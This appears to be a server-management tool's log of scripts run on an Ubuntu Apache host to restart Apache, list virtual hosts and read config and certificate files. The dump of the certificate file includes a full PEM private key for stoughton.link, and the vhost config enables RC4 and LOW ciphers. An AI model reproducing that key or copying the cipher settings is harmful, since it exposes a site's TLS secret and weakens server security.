        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/stoughton_www_link.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf= 1'
fi


2025-12-22 12:00:43: 

chmod 755 /tmp/pkp216870; /tmp/pkp216870; rm /tmp/pkp216870

2025-12-22 12:00:43: 




2025-12-22 12:00:43: 

PUT: /tmp/pkp201668

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-22 12:00:43: 

chmod 755 /tmp/pkp201668; /tmp/pkp201668; rm /tmp/pkp201668

2025-12-22 12:00:44: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-22 12:00:44: Establishing a connection
2025-12-22 12:00:44: 

PUT: /tmp/pkp589014

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-22 12:00:44: 

chmod 755 /tmp/pkp589014; /tmp/pkp589014; rm /tmp/pkp589014

2025-12-22 12:00:44: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-22 12:00:44: 

PUT: /tmp/pkp392158

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/stoughton_www_link.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-22 12:00:44: 

chmod 755 /tmp/pkp392158; /tmp/pkp392158; rm /tmp/pkp392158

2025-12-22 12:00:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf	1743
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>







2025-12-22 12:00:44: 

PUT: /tmp/pkp470128

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-22 12:00:44: 

chmod 755 /tmp/pkp470128; /tmp/pkp470128; rm /tmp/pkp470128

2025-12-22 12:00:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt	5365
8a:f5:fc:a8:63:14:54:ac:f6:c4:cf:a6:bc:0d:fb:2f

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBbZLtV8medbAyI8l4Ftpau4GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIyMTEwMjEyWhcNMjYwMzIyMTEwMjExWjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMwCvUpasDnXATSukCwX6sFwmnN97njwU1l++ZM2usfjZG3/WTV+vvs2DpnT8FLm
7j+gLeRGxsPgg7wJ9M6iUv/nPMCBn6QvnM7UVaWTnyEXXx3Y93Ef7fOIMWntxM5h
ax4vjJJpvl0srF5k3NQdUbT4G19jwJlJvvnyQsRQBZoA3zuun8yIPv3Y6W766VJ5
762SjToT9k7D7GjO73ALt3IElDQW8iJ0N/f8jSz2DO0Zq9UQgLpEsEDB2GVFiPsB
J+5FNgmTRMW91uGfdy2PuXSfaxErtqopkbepK4DcCb9/eA5EUi9iJMhm3y7kYX6y
vV087YKeHjVpSg7YygwzJvkCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUxGG2Xv9TCllreo1EeGmdXF9nL+EwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBBgYKKwYBBAHWeQIE
AgSB9wSB9ADyAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGb
Re7mEgAABAMASDBGAiEA3Fy11CMzocoH85LcAJG/8btSP8Muuu1mVAYi7w8rbe0C
IQDtIvctYiY3UOsPMWd5Q8eU9GlFpSf1c4DV87H3997axAB3AJaXZL9VWJet90OH
aDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm0Xu5lUAAAQDAEgwRgIhAKKaPdzXxKk0
jhoV5klMNcUZbqvhPz/VMh0+7W/nVjuXAiEA/2I0xtLDcGQ4uN4t/Z9ZIv7CLCb7
/xjIrTeYNK8Svb8wDQYJKoZIhvcNAQELBQADggEBAAY+nWt/YlgeAdv9DFZVd9Yl
nlByuGS9uzUGUL3Z3Sb4I/Dxc1qTEjiWaMcEf4WZuedo0i6xBudwsuV71UegjAsS
aiRTukGV+MVeiazeWRswR50AUYWf/eYbT/HgG6e1TbrJT4qvi64dlsGkE6Pu2hP0
V0oucGfvSmYXX99R2WofjIJdrKld0lHU2Agvfl8jaZbLkNpHlprMXiNjwYavYK82
y3vAxF4cwmehmQFvB2SFLojmWy9eZJQBKAuQY+iW/1QbsRJTX43mKPR/gidbMSmz
cQd2LkldprwzZ5Vkw8CESFC765EVZScdbVqh0v3hdqM7U+g2bH3U0zFe9Ry73pY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDMAr1KWrA51wE0
rpAsF+rBcJpzfe548FNZfvmTNrrH42Rt/1k1fr77Ng6Z0/BS5u4/oC3kRsbD4IO8
CfTOolL/5zzAgZ+kL5zO1FWlk58hF18d2PdxH+3ziDFp7cTOYWseL4ySab5dLKxe
ZNzUHVG0+BtfY8CZSb758kLEUAWaAN87rp/MiD792Olu+ulSee+tko06E/ZOw+xo
zu9wC7dyBJQ0FvIidDf3/I0s9gztGavVEIC6RLBAwdhlRYj7ASfuRTYJk0TFvdbh
n3ctj7l0n2sRK7aqKZG3qSuA3Am/f3gORFIvYiTIZt8u5GF+sr1dPO2Cnh41aUoO
2MoMMyb5AgMBAAECggEBALn+QV8ZgRKqb0H9aBmbEH6dT2K9y/1cdVDhj13khrMY
IAacx1MbI7jZlsQt0ityuIEvYsd8s1f/R3rWxObiXLNLuTp0svu4IMj8Er1q8af0
q9YFacor5v+hChPeHxBdBpC1nv4ZA+HkiZ1hbWbA+C36CNKVmhDmiANOGArsPb8h
K2a8kdp6UqBKj72jVhbgsXVcFz24VfVQnj55tvp8VViVNwiLevIbIoyrc2xFpM2I
xzeV5LtnvWwbzBXQ75crzf+wVV+d9MtxWyITubOWDCOE1sl4Bq8z+2/EaI9V0+4F
uihVIXjekCvGSbSJ+zLFKWs9AR6+tB+BQPxVgIQ+LnUCgYEA/cKOhJDxms25gXLg
1ecn0n4ZjzH+gd5+hSHj0RqinfQbbrvUBBDj4buFb2uvVr/rb6ag3vuMhN98+mq1
vLea1oe8I4qWdBdugZex+CKPlrHTW/TGohyXK2dhXmHSS2YXS6mKeYi/LGq83b9h
900+NOnMdtDU1BsSp/2J+DOIJesCgYEAzc/CjMC21dgALhGxC2kQT1CewiaksKj0
Kkot3tbk0V6jrpPj/FEPpGAHA4jTkk4dH51NvCzkL4/3QDwRl/KuOtTbobrpEeuv
nkiTC5OCN5X9LAa7leQWdxNz6xSH1FANBJoqms2ILshzhUyDpUdcW8lh0UAYbkJ4
dkxJl9jRuasCfyudROGECAKTWU7mb75T/IQxKDN0ZEnt89DuAjnuWgTL7+sYXVhV
jtU9ZbHA0GIYml6WRRAOLBiqUNC5hoLpC7PToIJ7T2CkplmfuPbs+cDsz2b+qyUx
xMmw+ws9xOcwpNBcU3CQEEuSDOQQAMaAgDCX/oxtWCccgBhfe1cthDkCgYBwrIhf
FHZEVm+qyQa7L3a9ZW607gEFskmSCXBZah51PTGxNsf+78X3gJb2aWci1t782tqe
5Zi7LT74jKo5HKQkEzp2rWRB6l0H88WE9em5UsT64Gi8I9XktOKmVWQTaQvndBtV
Cqa+rgEIfh4oUwwOOA70RvnZC0z1vsgfeJVA5wKBgDnb949B6liDmulAzU3GThCv
5X9qYvkjUtROH+QUqg1e+qsGVdggQkseLvc1+C+nxGszBRKboFakQrr/JaYZuRK8
l1Pp4B57NKj7TBJRiFd4dU66fSBzsT6vxkdqppVLXdEDDObSeXr0Vf25auQkYMIF
GpLlNIangmCnFxeJAG4X
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-23 06:00:02: Establishing a connection
2025-12-23 06:00:03: Establishing a connection
2025-12-23 06:00:04: 

PUT: /tmp/pkp467495

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-23 06:00:05: 

chmod 755 /tmp/pkp467495; /tmp/pkp467495; rm /tmp/pkp467495

2025-12-23 06:00:05: 


0


2025-12-23 12:13:59: Establishing a connection
2025-12-23 12:14:08: Establishing a connection
2025-12-23 12:14:08: Performing Server Status
2025-12-23 12:14:08: 

PUT: /tmp/pkp659362

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 12:14:08: 

chmod 755 /tmp/pkp659362; /tmp/pkp659362; rm /tmp/pkp659362

2025-12-23 12:14:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.15.0-164-generic



2025-12-23 12:14:08: 

PUT: /tmp/pkp616750

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 12:14:08: 

chmod 755 /tmp/pkp616750; /tmp/pkp616750; rm /tmp/pkp616750

2025-12-23 12:14:08: 


[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built:   2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded:  APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 877
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         877  0.1  0.6 202728 24940 ?        Ss   12:13   0:00 /usr/sbin/apache2 -k start
[modules]
